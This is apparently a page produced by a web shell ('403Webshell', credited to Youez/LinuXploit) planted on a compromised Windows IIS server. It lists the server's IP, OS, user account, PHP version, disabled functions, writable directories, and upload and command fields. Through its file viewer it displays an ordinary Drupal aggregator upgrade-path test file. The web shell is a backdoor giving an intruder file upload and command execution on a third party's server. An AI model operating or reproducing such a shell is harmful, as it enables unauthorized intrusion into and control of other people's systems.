403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/business/modules/simpletest/tests/upgrade/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/business/modules/simpletest/tests/upgrade/update.aggregator.test
<?php
/**
 * @file
 * Tests schema changes in aggregator.module.
 */
class AggregatorUpdatePathTestCase extends UpdatePathTestCase {

  public static function getInfo() {
    return array(
      'name' => 'Aggregator update path',
      'description' => 'Aggregator update path tests.',
      'group' => 'Upgrade path',
    );
  }

  public function setUp() {
    // Use the normal installation and add our feed data.
    $path = drupal_get_path('module', 'simpletest') . '/tests/upgrade';
    $this->databaseDumpFiles = array(
      $path . '/drupal-7.bare.standard_all.database.php.gz',
      $path . '/drupal-7.aggregator.database.php',
    );
    parent::setUp();

    // Our test data only relies on aggregator.module.
    $this->uninstallModulesExcept(array('aggregator'));
  }

  /**
   * Tests that the aggregator.module update is successful.
   */
  public function testAggregatorUpdate() {
    // Get a selection of the fields affected by the schema update.
    $query = db_select('aggregator_feed', 'af');
    $query->join('aggregator_item', 'ai', 'af.fid = ai.fid');
    $query
      ->fields('af', array('url', 'link'))
      ->fields('ai', array('link', 'guid'));
    $query->orderBy('ai.iid');

    $pre_update_data = $query->execute()->fetchAll();
    $this->assertTrue($this->performUpgrade(), 'The update was completed successfully.');
    $post_update_data = $query->execute()->fetchAll();

    $this->assertTrue($pre_update_data == $post_update_data, 'Feed data was preserved during the update.');
  }

}

Youez - 2016 - github.com/yon3zu
LinuXploit